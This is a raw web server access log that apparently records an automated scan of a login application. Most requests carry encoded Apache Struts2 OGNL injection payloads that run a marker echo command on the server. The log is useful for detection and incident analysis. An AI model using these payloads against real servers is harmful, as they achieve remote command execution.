127.0.0.1 - - [02/May/2023:00:02:26 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:02:27 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:05:02 -0400] "GET /webapps/tomcat/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:05:03 -0400] "GET /webapps/tomcat/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:05:03 -0400] "GET /webapps/tomcat/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:06:58 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:06:58 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:06:59 -0400] "GET /?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:06:59 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:00 -0400] "GET /?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:00 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:01 -0400] "GET /?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:01 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:02 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:02 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:03 -0400] "GET /devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:03 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:03 -0400] "GET /&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)('meh')%5D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:04 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:04 -0400] "GET /%25%7B%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22,%22ccvaevcc%22%7D)).redirectErrorStream(true).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char%5B50000%5D,%23d.read(%23e),%23f=%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),%23f.getWriter().println(new%20java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:05 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:05 -0400] "GET /?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:05 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:06 -0400] "GET /$%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream()),%23q%7D.action HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:06 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:07 -0400] "GET /?redirect%3A%24%7B3290466%2B8972835%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:07 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:08 -0400] "GET /?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:08 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:09 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:09 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:09 -0400] "GET /?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:10 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:10 -0400] "GET /%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D+602+53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:11 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:11 -0400] "GET /(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:12 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:12 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:13 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:13 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:14 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:14 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:14 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:15 -0400] "POST / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:19 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:20 -0400] "GET /?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:20 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:21 -0400] "GET /$%7B4162118+1128612%7D/index.action HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:21 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:22 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:22 -0400] "POST /forgotPasswordLink HTTP/1.1" 200 2142 127.0.0.1 - - [02/May/2023:00:07:23 -0400] "GET /forgotPasswordLink?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:24 -0400] "GET /forgotPasswordLink?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:25 -0400] "GET /forgotPasswordLink?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:25 -0400] "POST /forgotPasswordLink HTTP/1.1" 200 2142 127.0.0.1 - - [02/May/2023:00:07:26 -0400] "GET /forgotPasswordLink/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:26 -0400] "GET /forgotPasswordLink&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)('meh')%5D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:27 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:27 -0400] "GET /forgotPasswordLink%25%7B%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22,%22ccvaevcc%22%7D)).redirectErrorStream(true).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char%5B50000%5D,%23d.read(%23e),%23f=%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),%23f.getWriter().println(new%20java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:27 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:28 -0400] "GET /forgotPasswordLink?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:29 -0400] "GET /forgotPasswordLink/$%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream()),%23q%7D.action HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:29 -0400] "GET /forgotPasswordLink?redirect%3A%24%7B3930798%2B3593033%7D HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:30 -0400] "GET /forgotPasswordLink?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:31 -0400] "POST /forgotPasswordLink HTTP/1.1" 200 2142 127.0.0.1 - - [02/May/2023:00:07:31 -0400] "GET /forgotPasswordLink?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:32 -0400] "GET /forgotPasswordLink/%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D+602+53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:32 -0400] "GET /forgotPasswordLink/(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:33 -0400] "POST /forgotPasswordLink HTTP/1.1" 200 2142 127.0.0.1 - - [02/May/2023:00:07:34 -0400] "POST /forgotPasswordLink HTTP/1.1" 200 2142 127.0.0.1 - - [02/May/2023:00:07:34 -0400] "POST /forgotPasswordLink HTTP/1.1" 200 2142 127.0.0.1 - - [02/May/2023:00:07:35 -0400] "POST /forgotPasswordLink HTTP/1.1" 200 2142 127.0.0.1 - - [02/May/2023:00:07:35 -0400] "GET /forgotPasswordLink?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:36 -0400] "GET /forgotPasswordLink/$%7B1292138+4383728%7D/index.action HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:36 -0400] "GET /forgotPasswordLink HTTP/1.1" 200 3725 127.0.0.1 - - [02/May/2023:00:07:37 -0400] "POST /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:37 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:38 -0400] "GET /dashboard?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:38 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:39 -0400] "GET /dashboard?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:40 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:40 -0400] "GET /dashboard?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:41 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:41 -0400] "POST /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:41 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:42 -0400] "GET 